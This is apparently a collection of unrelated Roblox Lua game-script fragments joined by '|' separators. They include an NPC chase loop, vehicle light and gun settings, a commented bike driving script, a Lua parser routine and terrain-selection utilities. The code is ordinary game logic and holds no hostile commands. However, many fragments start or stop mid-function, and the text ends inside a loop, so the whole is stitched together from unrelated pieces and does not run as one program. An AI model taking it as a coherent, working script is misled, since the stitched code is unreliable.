local RayTarget,endPoint=Game:GetService("Workspace"):FindPartOnRay(FiredRay,JeffTheKiller);
if RayTarget then
local JeffTheKillerHeadFootStepClone=JeffTheKillerHead:FindFirstChild("Jeff_Step"):Clone();
JeffTheKillerHeadFootStepClone.Parent=JeffTheKillerHead;
JeffTheKillerHeadFootStepClone:Play();
JeffTheKillerHeadFootStepClone:Destroy();
if JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid and JeffTheKillerHumanoid.Health~=0 and JeffTheKillerHumanoid.WalkSpeed<17 then
Wait(0.5);
elseif JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid and JeffTheKillerHumanoid.Health~=0 and JeffTheKillerHumanoid.WalkSpeed>17 then
Wait(0.2);
end
end;
WalkDebounce=false;
end);
end;
local MainTarget=FindNearestBae();
local FoundHumanoid;
if MainTarget then
for _,Child in pairs(MainTarget.Parent:GetChildren())do
if Child and Child.ClassName=="Humanoid"and Child.Health~=0 then
FoundHumanoid=Child;
end;
end;
end;
if JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid and JeffTheKillerHumanoid.Health~=0 and MainTarget and MainTarget.Parent and FoundHumanoid and FoundHumanoid.Jump then
JeffTheKillerHumanoid.Jump=true;
end;
if JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid and JeffTheKillerHumanoid.Health~=0 and MainTarget and FoundHumanoid and FoundHumanoid.Health~=0 and(MainTarget.Position-JeffTheKillerHumanoidRootPart.Position).magnitude<25 then
if JeffTheKillerScript and JeffTheKiller and JeffTheKillerHead and JeffTheKillerHead:FindFirstChild("Jeff_Laugh")and not JeffTheKillerHead:FindFirstChild("Jeff_Laugh").IsPlaying then
JeffTheKillerHead:FindFirstChild("Jeff_Laugh").Volume=1;
JeffTheKillerHead:FindFirstChild("Jeff_Laugh"):Play();
end;
elseif JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid and JeffTheKillerHumanoid.Health~=0 and MainTarget and FoundHumanoid and FoundHumanoid.Health~=0 and(MainTarget.Position-JeffTheKillerHumanoidRootPart.Position).magnitude>25 then
if JeffTheKillerScript and JeffTheKiller and JeffTheKillerHead and JeffTheKillerHead:FindFirstChild("Jeff_Laugh")and JeffTheKillerHead:FindFirstChild("Jeff_Laugh").IsPlaying then
if not JeffLaughDebounce then
Spawn(function()
JeffLaughDebounce=true;
repeat Wait(0);if JeffTheKillerScript and JeffTheKiller and JeffTheKillerHead and JeffTheKillerHead:FindFirstChild("Jeff_Laugh")then JeffTheKillerHead:FindFirstChild("Jeff_Laugh").Volume=JeffTheKillerHead:FindFirstChild("Jeff_Laugh").Volume-0.1;else break;end;until JeffTheKillerHead:FindFirstChild("Jeff_Laugh").Volume==0 or JeffTheKillerHead:FindFirstChild("Jeff_Laugh").Volume<0;
JeffTheKillerHead:FindFirstChild("Jeff_Laugh").Volume=0;
JeffTheKillerHead:FindFirstChild("Jeff_Laugh"):Stop();
JeffLaughDebounce=false;
end);
end;
end;
end;
if not ChosenMusic and JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid and JeffTheKillerHumanoid.Health~=0 and MainTarget and FoundHumanoid and FoundHumanoid.Health~=0 and(MainTarget.Position-JeffTheKillerHumanoidRootPart.Position).magnitude<50 then
local MusicChoice=math.random(1,2);
if MusicChoice==1 and JeffTheKillerScript and JeffTheKiller and JeffTheKiller:FindFirstChild("Jeff_Scene_Sound1")then
ChosenMusic=JeffTheKiller:FindFirstChild("Jeff_Scene_Sound1");
elseif MusicChoice==2 and JeffTheKillerScript and JeffTheKiller and JeffTheKiller:FindFirstChild("Jeff_Scene_Sound2")then
ChosenMusic=JeffTheKiller:FindFirstChild("Jeff_Scene_Sound2");
end;
if JeffTheKillerScript and JeffTheKiller and ChosenMusic and not ChosenMusic.IsPlaying then
ChosenMusic.Volume=0.5;
ChosenMusic:Play();
end;
elseif JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid and JeffTheKillerHumanoid.Health~=0 and MainTarget and FoundHumanoid and FoundHumanoid.Health~=0 and(MainTarget.Position-JeffTheKillerHumanoidRootPart.Position).magnitude>50 then
if JeffTheKillerScript and JeffTheKiller and ChosenMusic and ChosenMusic.IsPlaying then
if not MusicDebounce then
Spawn(function()
MusicDebounce=true;
repeat Wait(0);if JeffTheKillerScript and JeffTheKiller and ChosenMusic then ChosenMusic.Volume=ChosenMusic.Volume-0.01;else break;end;until ChosenMusic.Volume==0 or ChosenMusic.Volume<0;
if ChosenMusic then
ChosenMusic.Volume=0;
ChosenMusic:Stop();
end;
ChosenMusic=nil;
MusicDebounce=false;
end);
end;
end;
end;
if not MainTarget and not JeffLaughDebounce then
Spawn(function()
JeffLaughDebounce=true;
repeat Wait(0);if JeffTheKillerScript and JeffTheKiller and JeffTheKillerHead and JeffTheKillerHead:FindFirstChild("Jeff_Laugh")then JeffTheKillerHead:FindFirstChild("Jeff_Laugh").Volume=JeffTheKillerHead:FindFirstChild("Jeff_Laugh").Volume-0.1;else break;end;until JeffTheKillerHead:FindFirstChild("Jeff_Laugh").Volume==0 or JeffTheKillerHead:FindFirstChild("Jeff_Laugh").Volume<0;
JeffTheKillerHead:FindFirstChild("Jeff_Laugh").Volume=0;
JeffTheKillerHead:FindFirstChild("Jeff_Laugh"):Stop();
JeffLaughDebounce=false;
end);
end;
if not MainTarget and not MusicDebounce then
Spawn(function()
MusicDebounce=true;
repeat Wait(0);if JeffTheKillerScript and JeffTheKiller and ChosenMusic then ChosenMusic.Volume=ChosenMusic.Volume-0.01;else break;end;until ChosenMusic.Volume==0 or ChosenMusic.Volume<0;
if ChosenMusic then
ChosenMusic.Volume=0;
ChosenMusic:Stop();
end;
ChosenMusic=nil;
MusicDebounce=false;
end);
end;
if MainTarget then
Notice=true;
if Notice and not NoticeDebounce and JeffTheKillerScript and JeffTheKiller and JeffTheKillerHead and JeffTheKillerHead:FindFirstChild("Jeff_Susto2")then
JeffTheKillerHead:FindFirstChild("Jeff_Susto2"):Play();
NoticeDebounce=true;
end
if JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid and JeffTheKillerHumanoid.Health~=0 then
if MainTarget and FoundHumanoid and FoundHumanoid.Health~=0 and(MainTarget.Position-JeffTheKillerHumanoidRootPart.Position).magnitude>5 then
JeffTheKillerHumanoid.WalkSpeed=34;
elseif MainTarget and FoundHumanoid and FoundHumanoid.Health~=0 and(MainTarget.Position-JeffTheKillerHumanoidRootPart.Position).magnitude<5 then
JeffTheKillerHumanoid.WalkSpeed=0.004;
end;
JeffTheKillerHumanoid:MoveTo(MainTarget.Position+(MainTarget.Position-JeffTheKillerHumanoidRootPart.Position).unit*2,Game:GetService("Workspace"):FindFirstChild("Terrain"));
end;
else
Notice=false;
NoticeDebounce=false;
local RandomWalk=math.random(1,150);
if JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid and JeffTheKillerHumanoid.Health~=0 then
JeffTheKillerHumanoid.WalkSpeed=12;
if RandomWalk==1 then
JeffTheKillerHumanoid:MoveTo(Game:GetService("Workspace"):FindFirstChild("Terrain").Position+Vector3.new(math.random(-2048,2048),0,math.random(-2048,2048)),Game:GetService("Workspace"):FindFirstChild("Terrain"));
end;
end;
end;
if JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid then
JeffTheKillerHumanoid.DisplayDistanceType="None";
JeffTheKillerHumanoid.HealthDisplayDistance=0;
JeffTheKillerHumanoid.Name="ColdBloodedKiller";
JeffTheKillerHumanoid.NameDisplayDistance=0;
JeffTheKillerHumanoid.NameOcclusion="EnemyOcclusion";
JeffTheKillerHumanoid.AutoJumpEnabled=true;
JeffTheKillerHumanoid.AutoRotate=true;
JeffTheKillerHumanoid.MaxHealth=3000;
JeffTheKillerHumanoid.JumpPower=100;
JeffTheKillerHumanoid.MaxSlopeAngle=89.9;
end;
if JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid and not JeffTheKillerHumanoid.AutoJumpEnabled then
JeffTheKillerHumanoid.AutoJumpEnabled=true;
end;
if JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid and not JeffTheKillerHumanoid.AutoRotate then
JeffTheKillerHumanoid.AutoRotate=true;
end;
if JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid and JeffTheKillerHumanoid.PlatformStand then
JeffTheKillerHumanoid.PlatformStand=false;
end;
if JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid and JeffTheKillerHumanoid.Sit then
JeffTheKillerHumanoid.Sit=false;
end;
end;
|
--wait(math.random(0,5)/10)
|
while true do
wait(0.5)
local target = findNearestTorso(script.Parent.Torso.Position)
if target ~= nil then
script.Parent.Zombie:MoveTo(target.Position, target)
end
end
|
-- LIGHT SETTINGS
--[[
LIGHT TYPES:
- Halogen
- LED
]]
|
--
local Low_Beam_Brightness = 2.25
local High_Beam_Brightness = 3.15
local Fog_Light_Brightness = 1.75
local Rear_Light_Brightness = 1.5
local Brake_Light_Brightness = 2.5
local Reverse_Light_Brightness = 1
local Headlight_Type = "Halogen"
local Indicator_Type = "LED"
local Fog_Light_Type = "LED"
local Plate_Light_Type = "Halogen"
local Rear_Light_Type = "LED"
local Reverse_Light_Type = "LED"
local Running_Light_Location = "Custom DRL" -- Where your running lights will luminate. ("Low Beam / Indicators" and "Low Beam". LED DRLS or any DRL in a differnet position go in the Running model, change the string to "Custom DRL")
local Fade_Time = 0.35 -- How long it takes for the light to fully turn on. (works only with Halogen, default is 0.35 seconds)
local Indicator_Flash_Rate = 0.3 -- Rate of change between each indicator state. (in seconds)
local Popup_Hinge_Angle = -0.75 -- Changes the angle of your popup headlights. (only use if your car has popups)
local Auto_Lights = true -- Enables the automatic turning on or off of the lights based on the time of day. (Not Working Yet)
|
----------------------------------------------------------------------------------------------------
-----------------=[ General ]=----------------------------------------------------------------------
----------------------------------------------------------------------------------------------------
|
TeamKill = false --- Enable TeamKill?
,TeamDamageMultiplier = 1 --- Between 0-1 | This will make you cause less damage if you hit your teammate
,ReplicatedBullets = true --- Keep in mind that some bullets will pass through surfaces...
,AntiBunnyHop = false --- Enable anti bunny hop system?
,JumpCoolDown = 3 --- Seconds before you can jump again
,JumpPower = 50 --- Jump power, default is 50
,RealisticLaser = true --- True = Laser line is invisible
,ReplicatedLaser = true
,ReplicatedFlashlight = true
,EnableRagdoll = true --- Enable ragdoll death?
,TeamTags = true --- Aaaaaaa
,HitmarkerSound = false --- GGWP MLG 360 NO SCOPE xD
|
--please note: this script is modified from the originals (the ones in the cars).
--If you are looking for scripting tips and tricks, I suggest looking at one from
--a car instead of this bike!
|
task.wait(0.1)
Players = game:GetService("Players")
seat = script.Parent-- the driving seat
car = seat.Parent
Player = nil
forwardsSpeed = 80--if you removed the Configuration folder, it defaults to this speed forwards
reverseSpeed = 10--if you removed the Configuration folder, it defaults to this speed backwards
StartTime = 1--how long (in seconds) the car should wait before starting up. This is dependant on the starting sfx
engineBlock = car:FindFirstChild("EngineBlock")--maybe someone doesn't like sound?
lightsOn = false-- whether or not the lights turn on
carRunning = false--whether or not the car is running
RemoteControlled = car:FindFirstChild("ControlByRemote")--this is so the car turns properly
function CalculatePitch()--this returns the pitch that the engine should be at when its travelling
return 1+engineBlock.Velocity.magnitude/100
end
Configuration = car:FindFirstChild("Configuration")-- so you can change the stats of the car
if Configuration then-- if we found an object named Configuration in the car then do this stuff:
local ReverseSpeedValue = Configuration:FindFirstChild("Reverse Speed")-- do we have a reverse speed?
if ReverseSpeedValue ~= nil then
if type(ReverseSpeedValue.Value) == "number" then
reverseSpeed = ReverseSpeedValue.Value
end
ReverseSpeedValue.Changed:connect(function()-- level 1 scripting: go
if ReverseSpeedValue.Parent ~= nil then-- this script works, but there are some things
if type(ReverseSpeedValue.Value) == "number" then-- to make it look a little better
reverseSpeed = ReverseSpeedValue.Value
UpdateVehicle()
end
end
end)
end
local ForwardsSpeedValue = Configuration:FindFirstChild("Forwards Speed")
if ForwardsSpeedValue then
if type(ForwardsSpeedValue.Value) == "number" then
forwardsSpeed = ForwardsSpeedValue.Value
end
ForwardsSpeedValue.Changed:connect(function()-- level 2 scripting: go
if ForwardsSpeedValue.Parent then -- asking if something 'is' is the same as
if ForwardsSpeedValue.Value then-- asking if it is "~= nil"
forwardsSpeed = ForwardsSpeedValue.Value
UpdateVehicle()
end
end
end)
end
local TorqueValue = Configuration:FindFirstChild("Torque")
if TorqueValue then
if type(TorqueValue.Value)=="number" and RemoteControlled then
RemoteControlled.Torque = TorqueValue.Value
end
TorqueValue.Changed:connect(function()
if TorqueValue.Parent and type(TorqueValue.Value) == "number" and RemoteControlled then
RemoteControlled.Torque = TorqueValue.Value
end
end)
end
end
script.BikeSteering.Seat.Value = seat
if RemoteControlled and not RemoteControlled:IsA("VehicleSeat") then-- how dare you try to disturb this ancient harmony
RemoteControlled = nil-- no food 4 u!
end
seat.ChildAdded:connect(function(it)-- something was added to our seat!
if it:IsA("Weld") and it.Name == "SeatWeld" then-- is it the kind of thing players use to sit with?
Player = Players:GetPlayerFromCharacter(it.Part1.Parent)-- is there a player attached to it?
if Player then-- hooray! a player WAS attached to the seat weld. It's time to start the car!
script.BikeSteering:Clone().Parent = Player.Backpack-- for better driving
if RemoteControlled then
RemoteControlled.MaxSpeed = 0-- not yet little child
end
if engineBlock and engineBlock:FindFirstChild("Starting") and engineBlock.Starting:IsA("Sound") then
engineBlock.Starting:Play()
end
if engineBlock and engineBlock:FindFirstChild("Stopping") and engineBlock.Stopping:IsA("Sound") then
engineBlock.Stopping:Stop()
end
task.wait(StartTime)-- just in case you use different starting sound effects
if it.Parent ~= seat then-- DID OUR LOVELY PLAYER LEAVE WHILE WE WEREN'T LOOKING???????
byebye()--maybe they did, so it's time to shut down the car
else-- they didn't leave!
lightsOn = true-- turn on the lights
carRunning = true-- turn on the car
updatelights()-- make sure we turn on the lights
UpdateVehicle()-- maybe they're in a hurry, so we better check if they have their foot on the gas
if engineBlock and engineBlock:FindFirstChild("Running") and engineBlock.Running:IsA("Sound") then
engineBlock.Running:Play()
engineBlock.Running.Pitch = CalculatePitch()
end
end
end
end
end)
seat.ChildRemoved:connect(function(it)--did an object get removed?
if it:isA("Weld") and it.Name == "SeatWeld" then-- if it's a weld and named like a seat weld
byebye()-- time to shut down the car
end
end)
function byebye()
if engineBlock and carRunning then-- remember scripting level 3? that applies to below:
if engineBlock and engineBlock:FindFirstChild("Stopping") and engineBlock.Stopping:IsA("Sound") then
engineBlock.Stopping:Play()-- where if it didn't do it like that, the above would error!
task.wait(0.1) -- because engineBlock.Stopping would not exist, so :IsA() is
end -- "not a valid member"
if engineBlock and engineBlock:FindFirstChild("Running") and engineBlock.Running:IsA("Sound") then
engineBlock.Running:Stop()-- WE MUST NOT STOP
end
if engineBlock and engineBlock:FindFirstChild("Starting") and engineBlock.Starting:IsA("Sound") then
engineBlock.Starting:Stop()-- THIS SCRIPT IS BREAK-PROOF >:U
end
end
if RemoteControlled then
RemoteControlled.MaxSpeed = 0--make sure that the car doesn't drive off without us
end
carRunning = false
lightsOn = false
updatelights()--turn the lights off
UpdateVehicle()--make sure the car stops now that it's off
end
RearLight = {}--all the brake lights. These contain one SpotLight that gets manipulated
RearBulb = {}--the brake lights that use a Surface GUI to light up
FrontLight = {}--same as the RearLight but for the front
FrontBulb = {}--same as the RearBulb but for the front
ReverseLight = {}--These light up when you reverse
ReverseBulb = {}--these also light up when you reverse: SurfaceGui style
for _, i in pairs (car:GetChildren()) do--populate the tables for ease of modularity.
if i.Name == "RearBulb" then-- you can have any number of these items you want
table.insert(RearBulb,i)-- and you don't have to change the script one bit!
elseif i.Name == "RearLight" then
table.insert(RearLight,i.SpotLight)
elseif i.Name == "FrontLight" then
table.insert(FrontLight,i.SpotLight)
elseif i.Name == "ReverseLight" then
table.insert(ReverseLight,i.SpotLight)
elseif i.Name == "FrontBulb" then
table.insert(FrontBulb,i)
elseif i.Name == "ReverseBulb" then
table.insert(ReverseBulb,i)
end
end
function updatelights()-- this turns the lights on and off based on the lightsOn value
for _,i in pairs (RearLight) do
i.Enabled = lightsOn
end
for _,i in pairs (FrontLight) do
i.Enabled = lightsOn
end
for _,i in pairs (FrontBulb) do
SurfaceGuiStandard(i,lightsOn)
end
for _,g in pairs (RearBulb) do
SurfaceGuiBrightness(g,lightsOn,seat.Throttle == 0)
end
end
function CreateStabilizer()
if car:FindFirstChild("Stabilizer") then
car.Stabilizer:Destroy()
end
if car:FindFirstChild("LeftHelper") then
local stabilizer = Instance.new("Part",car)
stabilizer.CanCollide = false--the bike not working was because I forgot this!
stabilizer.BottomSurface = "Smooth"
stabilizer.TopSurface = "Smooth"
stabilizer.FormFactor = "Custom"
stabilizer.Size = Vector3.new(3,3,1)
stabilizer.Transparency = 1
stabilizer.Name = "Stabilizer"
stabilizer.CFrame = car.LeftHelper.CFrame*CFrame.new(0,0,1)
local Hinge = Instance.new("Rotate",stabilizer)--mega hax!
Hinge.C0 = CFrame.new()
Hinge.C1 = CFrame.new(0,0,-1)
Hinge.Part0 = car.LeftHelper
Hinge.Part1 = stabilizer
local gyro = Instance.new("BodyGyro",stabilizer)
gyro.D = 700
gyro.maxTorque = Vector3.new(600000, 0, 600000)
gyro.P = 30000
gyro.cframe = CFrame.new()*CFrame.Angles(math.pi,math.pi/2,0)
end
end
flippingDebounce = false-- a debounce is a simple way of preventing a function from
-- being called multiple times while it's still running
function Flip()
if not flippingDebounce then-- here's how it works: the function checks if the debounce is off
flippingDebounce = true-- if it's on, then the function stops, but if it's off, set it to true
local bodypos = Instance.new("BodyPosition",seat)-- so we get uninterupted function fun
bodypos.maxForce = Vector3.new(100000,10000000,100000)
bodypos.position = seat.Position + Vector3.new(0,2,0)
local bodygyro = Instance.new("BodyGyro",seat)
game:GetService("Debris"):AddItem(bodypos, 3)-- this makes sure that the flippy bit
game:GetService("Debris"):AddItem(bodygyro, 3)-- deletes itself automatically
task.wait(2)
CreateStabilizer()
task.wait(1)
flippingDebounce = false-- when we are done with our fun, allow the function to work again
end
end
function SurfaceGuiStandard(part,on)-- this makes it so the lights turn on or off
for _,i in pairs (part:GetChildren()) do
if i:IsA("SurfaceGui") then
i.Enabled = on
end
end
end
function SurfaceGuiBrightness(part,on,bright)-- this is so the brake lights dim when we drive
for _,i in pairs (part:GetChildren()) do
if i:IsA("SurfaceGui") then
i.Enabled = on
if i:FindFirstChild("Frame") and i.Frame:IsA("Frame") then
i.Frame.Transparency = bright and 0 or 0.5-- scripting level 4: go
end-- for simple statements, you can have a boolean value decide between 2 values
-- which is the same as writing
-- "if bright then
-- i.Frame.Transparency = 0
-- else
-- i.Frame.Transparency = 0.5
-- end"
--but instead of "then" and "else", you use "and" and "or"
end
end
end
hornDebounce = false
function Honk()-- if you are reading this then congratulations! you win a prize!
if hornDebounce then return end-- unfortunately, I could not think of a way
if engineBlock and engineBlock:FindFirstChild("Horn") and engineBlock.Horn:IsA("Sound") then
hornDebounce = true-- to allow people to be able to honk the horn for both PC and mobile
engineBlock.horn:Play() -- in an unobtrusive way. Sorry! :(
print("beep beep") -- UristMcSparks, the guy in charge of the toolbox, doesn't want print statements
task.wait(0.5)-- but since this is a secret, lets keep it between you and me, OK?
engineBlock.horn:Stop()
hornDebounce = false
end
end
function UpdateVehicle()-- this is for the brake lights and speed and stuff like that
if seat.Throttle == 1 and carRunning then-- if we're going forwards
seat.MaxSpeed = forwardsSpeed-- give it forwards speed
elseif seat.Throttle == -1 and carRunning then-- if we're going backwards
seat.MaxSpeed = reverseSpeed-- give it backwards speed
else
seat.MaxSpeed = 0 -- otherwise, give it 0 speed
end
if workspace.FilteringEnabled and RemoteControlled then--the idea from scripting level 2 applies to false as well
RemoteControlled.Throttle = seat.Throttle-- that is, it also works for "~= false"
end-- the reason this line exists is to prevent the server from doing something the client
-- is already doing.
for _,h in pairs (ReverseLight) do-- all these loops below are just updating the lights
h.Enabled = lightsOn and seat.Throttle == -1
end
for _,i in pairs (ReverseBulb) do
SurfaceGuiStandard(i,lightsOn and seat.Throttle == -1)
end
for _,j in pairs (RearLight) do
j.Brightness = 4-math.abs(seat.Throttle)*3
end
for _,k in pairs (RearBulb) do
SurfaceGuiBrightness(k,lightsOn,seat.Throttle == 0)
end
end
seat.Changed:connect(UpdateVehicle)-- this is so that when someone drives the car
-- the brake and reverse lights change
-- and the speed of the car changes
CreateStabilizer()
while true do
for i = 1, 60 do--60/30 == 2, 2 seconds between deciding if it's upside down
task.wait()-- we want the steering and sfx to update as many times a second as we can
if workspace.FilteringEnabled then
if car:FindFirstChild("LeftMotor") then
car.LeftMotor.DesiredAngle = seat.Steer*math.rad(20-seat.Velocity.magnitude/10)
end
if car:FindFirstChild("RightMotor") then
car.RightMotor.DesiredAngle = seat.Steer*math.rad(20-seat.Velocity.magnitude/10)
end
end
-- below: make sure there's a sound to play
if carRunning and engineBlock and engineBlock:FindFirstChild("Running") and engineBlock.Running:IsA("Sound") then
engineBlock.Running.Pitch = CalculatePitch()-- and make sure that the car is on before trying
-- to make sure the engine sounds good
end
end
if car:FindFirstChild("Stabilizer") and car:FindFirstChild("LeftHelper") then
if car.Stabilizer.CFrame.lookVector:Dot(car.LeftHelper.CFrame.lookVector) < 0.85 then
CreateStabilizer()
end
elseif car:FindFirstChild("LeftHelper") then
CreateStabilizer()
end
if not flippingDebounce and (seat.CFrame*CFrame.Angles(math.pi/2,0,0)).lookVector.Y < 0.2 then--am I upside down?
task.spawn(Flip)--flip the bike right side up
-- as a fun experiment, see what happens if you replace "task.spawn(Flip)" with "Flip()"
-- and see what the difference is when you drive the car off the baseplate
-- if you did it right, you'll notice that the engine sound changes differently!
end
end
|
--// Todo:
--// Fix a loooootttttttt of bugged commands
--// Probably a lot of other stuff idk
--// Transform from Sceleratis into Dr. Sceleratii; Evil alter-ego; Creator of bugs, destroyer of all code that is good
--// Maybe add a celery command at some point (wait didn't we do this?)
--// Say hi to people reading the script
--// ...
--// "Hi." - Me
| |
-- without key
|
for i = 1, #t2 do
text.Text = string.sub(t2, 1, i)
wait(0.01)
end
script.Parent.sound.beeb.Playing = false
wait(5)
script.Disabled = true
script.Parent.Frame:Destroy()
script.Parent.Frame2:Destroy()
script.Parent.sound.beeb:Destroy()
|
----idle
--mouse.KeyUp:connect(function (key2)
--key2 = string.lower(key2)
--print(key2)
--
--
----if key2 == "w" then
-- local i = 1
--while key2=="w" do
-- carSeat.exhaust.Part.Spring.Stiffness = 0
-- print("stiffness is 0")
-- wait(1)
-- carSeat.exhaust.Part.Spring.Stiffness = 500
-- print("stiffness is 500")
-- wait(1)
--
-- i = i + 1
--
-- print(i)
--if key2=="q" then break
-- end
--end
--
--
--
-- --end
--end)
--
--
| |
--------------------[ TEXTURE CREATION FUNCTIONS ]------------------------------------
|
function createBullet(Direction)
local Origin = Gun.Main.CFrame.p
local bulletCF = CF(Origin, Origin + Direction)
local Bullet = Instance.new("Part")
Bullet.BrickColor = S.bulletSettings.Color
Bullet.Material = Enum.Material.Neon
Bullet.Name = "Bullet"
Bullet.CanCollide = false
Bullet.FormFactor = "Custom"
Bullet.Size = S.bulletSettings.Size
Bullet.BottomSurface = "Smooth"
Bullet.TopSurface = "Smooth"
if math.min(S.bulletSettings.Size.X, S.bulletSettings.Size.Y, S.bulletSettings.Size.Z) < 0.2 then
local Mesh = Instance.new("BlockMesh")
Mesh.Scale = S.bulletSettings.Size / Vector3.new(
math.max(S.bulletSettings.Size.X, 0.2),
math.max(S.bulletSettings.Size.Y, 0.2),
math.max(S.bulletSettings.Size.Z, 0.2)
)
Mesh.Parent = Bullet
end
local BF = Instance.new("BodyForce")
BF.force = V3(0, Bullet:GetMass() * (196.2 - S.bulletSettings.Acceleration), 0)
BF.Parent = Bullet
Bullet.Parent = gunIgnore
Bullet.CFrame = bulletCF + Direction * S.bulletSettings.Size.Z / 2
Bullet.Velocity = Direction * S.bulletSettings.Velocity
return Bullet
end
|
-- Объявляем работу с БД игры
|
local DataStore2 = require(game.ServerScriptService.DataStore2) -- вариант локального модуля
local SSS = game:GetService("ServerScriptService") -- хранилище объектов
local module = require(SSS.Statistika.Main)
|
--------END SIDE SQUARES--------
--------LIGHT SET 1--------
|
game.Workspace.lightset1.l1.BrickColor = BrickColor.new(194)
game.Workspace.lightset1.l2.BrickColor = BrickColor.new(194)
game.Workspace.lightset1.l3.BrickColor = BrickColor.new(194)
game.Workspace.lightset1.l4.BrickColor = BrickColor.new(194)
game.Workspace.lightset1.l5.BrickColor = BrickColor.new(194)
|
--// B_arocena
|
script.Parent.ClickDetector.MouseClick:connect(function(plr)
plr.Character.Torso.Anchored = true
plr.PlayerGui.GunShop.Main.Visible = true
end)
|
------------------------------------------------------------------------
-- parse a table record (hash) field
-- * used in constructor()
------------------------------------------------------------------------
|
function luaY:recfield(ls, cc)
-- recfield -> (NAME | '['exp1']') = exp1
local fs = ls.fs
local reg = ls.fs.freereg
local key, val = {}, {} -- expdesc
if ls.t.token == "TK_NAME" then
self:checklimit(fs, cc.nh, self.MAX_INT, "items in a constructor")
self:checkname(ls, key)
else -- ls->t.token == '['
self:yindex(ls, key)
end
cc.nh = cc.nh + 1
self:checknext(ls, "=")
local rkkey = luaK:exp2RK(fs, key)
self:expr(ls, val)
luaK:codeABC(fs, "OP_SETTABLE", cc.t.info, rkkey, luaK:exp2RK(fs, val))
fs.freereg = reg -- free registers
end
|
------------------------------------------------------------------------------------------------------------------------
------------------------------------------------------------------------------------------------------------------------
------------------------------------------------------------------------------------------------------------------------
--------------------------------------------Terrain Utilities Begin-----------------------------------------------------
------------------------------------------------------------------------------------------------------------------------
------------------------------------------------------------------------------------------------------------------------
------------------------------------------------------------------------------------------------------------------------
--makes a wedge at location x, y, z
--sets cell x, y, z to default material if parameter is provided, if not sets cell x, y, z to be whatever material it previously w
--returns true if made a wedge, false if the cell remains a block
|
t.MakeWedge = function(x, y, z, defaultmaterial)
return game:GetService("Terrain"):AutoWedgeCell(x,y,z)
end
t.SelectTerrainRegion = function(regionToSelect, color, selectEmptyCells, selectionParent)
local terrain = game:GetService("Workspace"):FindFirstChild("Terrain")
if not terrain then return end
assert(regionToSelect)
assert(color)
if not type(regionToSelect) == "Region3" then
error("regionToSelect (first arg), should be of type Region3, but is type",type(regionToSelect))
end
if not type(color) == "BrickColor" then
error("color (second arg), should be of type BrickColor, but is type",type(color))
end
-- frequently used terrain calls (speeds up call, no lookup necessary)
local GetCell = terrain.GetCell
local WorldToCellPreferSolid = terrain.WorldToCellPreferSolid
local CellCenterToWorld = terrain.CellCenterToWorld
local emptyMaterial = Enum.CellMaterial.Empty
-- container for all adornments, passed back to user
local selectionContainer = Instance.new("Model")
selectionContainer.Name = "SelectionContainer"
selectionContainer.Archivable = false
if selectionParent then
selectionContainer.Parent = selectionParent
else
selectionContainer.Parent = game:GetService("Workspace")
end
local updateSelection = nil -- function we return to allow user to update selection
local currentKeepAliveTag = nil -- a tag that determines whether adorns should be destroyed
local aliveCounter = 0 -- helper for currentKeepAliveTag
local lastRegion = nil -- used to stop updates that do nothing
local adornments = {} -- contains all adornments
local reusableAdorns = {}
local selectionPart = Instance.new("Part")
selectionPart.Name = "SelectionPart"
selectionPart.Transparency = 1
selectionPart.Anchored = true
selectionPart.Locked = true
selectionPart.CanCollide = false
selectionPart.Size = Vector3.new(4.2,4.2,4.2)
local selectionBox = Instance.new("SelectionBox")
-- srs translation from region3 to region3int16
local function Region3ToRegion3int16(region3)
local theLowVec = region3.CFrame.p - (region3.Size/2) + Vector3.new(2,2,2)
local lowCell = WorldToCellPreferSolid(terrain,theLowVec)
local theHighVec = region3.CFrame.p + (region3.Size/2) - Vector3.new(2,2,2)
local highCell = WorldToCellPreferSolid(terrain, theHighVec)
local highIntVec = Vector3int16.new(highCell.x,highCell.y,highCell.z)
local lowIntVec = Vector3int16.new(lowCell.x,lowCell.y,lowCell.z)
return Region3int16.new(lowIntVec,highIntVec)
end
-- helper function that creates the basis for a selection box
function createAdornment(theColor)
local selectionPartClone = nil
local selectionBoxClone = nil
if #reusableAdorns > 0 then
selectionPartClone = reusableAdorns[1]["part"]
selectionBoxClone = reusableAdorns[1]["box"]
table.remove(reusableAdorns,1)
selectionBoxClone.Visible = true
else
selectionPartClone = selectionPart:Clone()
selectionPartClone.Archivable = false
selectionBoxClone = selectionBox:Clone()
selectionBoxClone.Archivable = false
selectionBoxClone.Adornee = selectionPartClone
selectionBoxClone.Parent = selectionContainer
selectionBoxClone.Adornee = selectionPartClone
selectionBoxClone.Parent = selectionContainer
end
if theColor then
selectionBoxClone.Color = theColor
end
return selectionPartClone, selectionBoxClone
end
-- iterates through all current adornments and deletes any that don't have latest tag
function cleanUpAdornments()
for cellPos, adornTable in pairs(adornments) do
if adornTable.KeepAlive ~= currentKeepAliveTag then -- old news, we should get rid of this
adornTable.SelectionBox.Visible = false
table.insert(reusableAdorns,{part = adornTable.SelectionPart, box = adornTable.SelectionBox})
adornments[cellPos] = nil
end
end
end
-- helper function to update tag
function incrementAliveCounter()
aliveCounter = aliveCounter + 1
if aliveCounter > 1000000 then
aliveCounter = 0
end
return aliveCounter
end
-- finds full cells in region and adorns each cell with a box, with the argument color
function adornFullCellsInRegion(region, color)
local regionBegin = region.CFrame.p - (region.Size/2) + Vector3.new(2,2,2)
local regionEnd = region.CFrame.p + (region.Size/2) - Vector3.new(2,2,2)
local cellPosBegin = WorldToCellPreferSolid(terrain, regionBegin)
local cellPosEnd = WorldToCellPreferSolid(terrain, regionEnd)
currentKeepAliveTag = incrementAliveCounter()
for y = cellPosBegin.y, cellPosEnd.y do
for z = cellPosBegin.z, cellPosEnd.z do
for x = cellPosBegin.x, cellPosEnd.x do
local cellMaterial = GetCell(terrain, x, y, z)
if cellMaterial ~= emptyMaterial then
